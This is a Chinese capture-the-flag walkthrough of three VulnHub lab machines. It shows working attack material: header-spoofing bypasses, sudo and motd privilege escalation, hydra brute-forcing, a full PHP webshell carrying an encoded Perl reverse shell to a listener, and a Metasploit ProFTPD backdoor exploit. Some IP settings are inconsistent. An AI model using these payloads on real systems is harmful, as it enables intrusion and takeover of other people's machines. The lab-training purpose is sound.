目录
vulnhub三个基础靶场wp
前置知识:
linux权限详细解释:
https://blog.csdn.net/u013197629/article/details/73608613
linux目录结构详细解释:
http://c.biancheng.net/view/2833.html
linux find命令详细解释:
http://c.biancheng.net/view/779.html
#!/bin/bash的含义:
https://blog.csdn.net/iot_flower/article/details/69055590
bash shell 文件语法解读与总结:
https://blog.csdn.net/u012617944/article/details/73693028
什么是shell脚本:
https://blog.csdn.net/weixin_42432281/article/details/88392219
Linux——vi命令详解
https://blog.csdn.net/cyl101816/article/details/82026678
1.Me-and-My-Girlfriend-1
基础信息:
背景描述:有一对恋人,即Alice和Bob,这对夫妻本来很浪漫,但是自从Alice在一家私人公司“ Ceban Corp”工作以来,爱丽丝对鲍勃的态度发生了一些变化是“隐藏的”,而鲍勃(Bob)寻求您的帮助,以获取爱丽丝(Alice)隐藏的内容并获得对该公司的完全访问权限!
1.扫描主机扫描端口
扫描主机扫描端口,最初始的信息收集
ifconfig
查看自己主机的ip地址,发现是192.168.245.133
nmap 192.168.245.0/24
扫描这个ip段的所有主机
得到主机地址为192.168.245.134的是我们的靶机
并且开放了22端口和80端口
2.访问80端口查看信息
3.xff
只能本地访问,那就尝试xff绕过:
如果xff不行,可以抓包修改:
X-Forwarded-For:127.0.0.1
Client-ip:127.0.0.1
X-Client-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Rriginating-IP:127.0.0.1
X-Remote-addr:127.0.0.1
HTTP_CLIENT_IP:127.0.0.1
X-Real-IP:127.0.0.1
X-Originating-IP:127.0.0.1
via:127.0.0.1
得到一个登录注册页面:
尝试登陆,发现profile页面url有id字段,这也太爽了,sql注入?直接访问?
id从1试到12,到5的时候发现,用户名是alice,可能这就是我们要的密码
4.得到:alice:4lic3登陆靶机
那直接ssh连接虚拟机看能否登陆
连接成功。
ll命令,可以默认列出当前目录内文件的详细属性信息还有权限
直接获得第一个flag和秘密。
5.接下来继续做信息收集
一开始尝试suid提权,但是没有可用的文件:
SUID目的就是让本来没有权限访问这个文件的用户可以访问这些资源,我们用suid提权就是相当于骑马,可以用上这种权限。有一些文件有suid权限,我们就可以用这些文件来干坏事,自己没有root权限也可以执行root权限。
find / -user root -perm -4000 -print 2>/dev/null
find命令去查找用户
namp、vim、find、bash、more、less、nano、cp都没有
接下来继续做信息收集
sudo -l 显示当前用户的权限
为什么要显示当前用户权限?因为提权是一个漫长的过程,一步一步提升更高的权限,你得知道目前的权限有什么。所以基本上每次提权都要确认自己现在是什么权限,执行一个命令又不会费你多少时间,就是不断信息收集。比如经常输入ls /home 查看当前主机有什么用户,是什么权限
发现php是不用密码直接可以root权限的
可以用root权限执行php
用php回调bash提权:(还是不太懂根本原理)
sudo php -r 'system("/bin/bash");'
找flag:
find / -name 'flag*.*'
2.narak
1.扫描主机扫描端口
扫描主机扫描端口,最初始的信息收集
ifconfig
192.168.54.128
nmap 192.168.54.0/24
扫描这个ip段的所有主机
得到主机地址为192.168.54.133的是我们的靶机
并且开放了22端口和80端口
2.访问80端口查看信息
3.使用dirb扫描目录
dirb http://192.168.54.133
4.尝试爆破webdav
发现webdav,webdav也是一种应用
想要打开,发现需要账号和密码。尝试从web页面获得关键字之后再爆破:
cewl 通过爬行网站关键信息创建一个密码字典
cewl http://192.168.54.133 -w 1.txt
再用hydra一把嗦:
hydra 爆破神器,自动化爆破工具,暴力破解弱密码
hydra -L 1.txt -P 1.txt 192.168.54.133 http-get /webdav
爆破得到用户名和密码为 yamdoot:Swarg
5.用cadaver连接之后上传webshell
webshell:记得正确配置yourip和yourport,是kali 的监听地址
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.145.128";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
先启用监听4444端口:
nc -lvvp 4444
连接webdav且上传webshell:
cadaver http://192.168.54.133/webdav //连接
输入用户名和密码yamdoot:Swarg
put shell.php //上传
上传之后,访问webshell页面,可以看到已经监听到信息:
这样就算是反弹了一个shell到kali的监听端口
在这里看一下权限:whoami
www-data权限已经拿到。而且我们现在的用户是yamdoot
交互式:
python3 -c 'import pty;pty.spawn("/bin/bash")'
6.信息收集
接下来我们通过下面这条命令找一些属主是root 普通用户或组可执行 其他用户可写的文件,这种文件往往可以帮助我们实现权限提升。
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
#命令解释:
从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写 如果发现了符合条件的用 ls -l命令显示 错误信息从定向到null
在/mnt文件夹里面有一个hell.sh文件,里面放着一串brianfuck编码,这个编码可能是某个密码
解码之后得到:chitragupt
根据查看/home发现的用户,挨个尝试下。
su inferno
当尝试切换到interno用户的时候,使用揭秘得到的这个字符串成功的su到了inferno用户上。到这里算是完成了从www-data权限到普通用户权限的权限提升。
这个时候登录其实也是ssh连接登录
7.modt提权
下一步就是要提升自己的权限到root了。
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
这里使用modt提权
motd是message of the day这句话的缩写,我们通过ssh登录成功后看到的那些欢迎和提示的信息都是motd目录下存放的这些sh脚本所提供的。
当我们通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权。
vi /etc/update-motd.d/00-header #编辑这个文件
echo 'root:123' | chpasswd #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123
记住vim修改的方法,得先按i开始编辑,然后输入:wq保存!!!!!
从插入模式切换为命令行模式按「ESC」键。
删除文字「x」:每按一次,删除光标所在位置的"后面"一个字符。
按「G」:移动到文章的最后。
「h」、「j」、「k」、「l」,分别控制光标左、下、上、右移一格。
然后保存修改后,退出ssh的连接,然后重新使用ssh登录,触发执行我们修改root用户的命令。
接着只需要su到root用户即可提权成功。
su root
3.basic_pentesting_1
1.扫描主机扫描端口
扫描主机扫描端口,最初始的信息收集
这里用的是Netdiscover,二层发现工具,拥有主动和被动发现两种方式
netdiscover -i eth0 -r 192.168.54.0/24
很快出结果:
扫描端口:
nmap -A 192.168.54.131
或者:
nmap -sS 192.168.54.131 -p 1-1000
再进一步的信息:
nmap -sC -sV -p 80,3306 192.168.54.131 -o 192.168.54.131.txt
2.msf探测漏洞
1.开启msfconsole
msfconsole
2.寻找ftp的ProFTPD 1.3.3c的漏洞并利用
search proftpd 1.3.3
2-->proftpd_133c_vackdoor
use 2
show options
set RHOSTS 192.168.245.137
set payload cmd/unix/reverse
show options
set LHOST 192.168.245.137
run
查询漏洞:
search proftpd 1.3.3
选择我们要利用的漏洞,第二个,版本为133c的:
use 2
打开我们要设置的参数列表:
show options
required就是告诉是否要手动设置参数,yes就是要,no就是不用,这里要设置的只有rhosts,就是目标机器的ip地址,rport就是目标机器的端口,这里已经帮我们设置好了为21,所以现在只需设置rhosts就可以了
通过set命令,设置目标ip地址为192.168.54.131:
set RHOSTS 192.168.54.131
下一步,设置payload:
先看有什么payload可以使用:
show payloads
这里使用第三个payload:反向连接的payload
set payload cmd/unix/reverse
接下来查看payload的option,要设置什么东西:
show options
这里显示,还需要我们设置payload使用的机器ip地址LHOST,也就是我们kali 的IP地址
设置LHOST:
set LHOST 192.168.54.128
直接开干!
run
上图就是最后的结果了,此时我们已经getshell,并且是root权限:
sudo -l
进入交互模式:
python3 -c 'import pty;pty.spawn("/bin/bash")'
此时靶机已经被拿下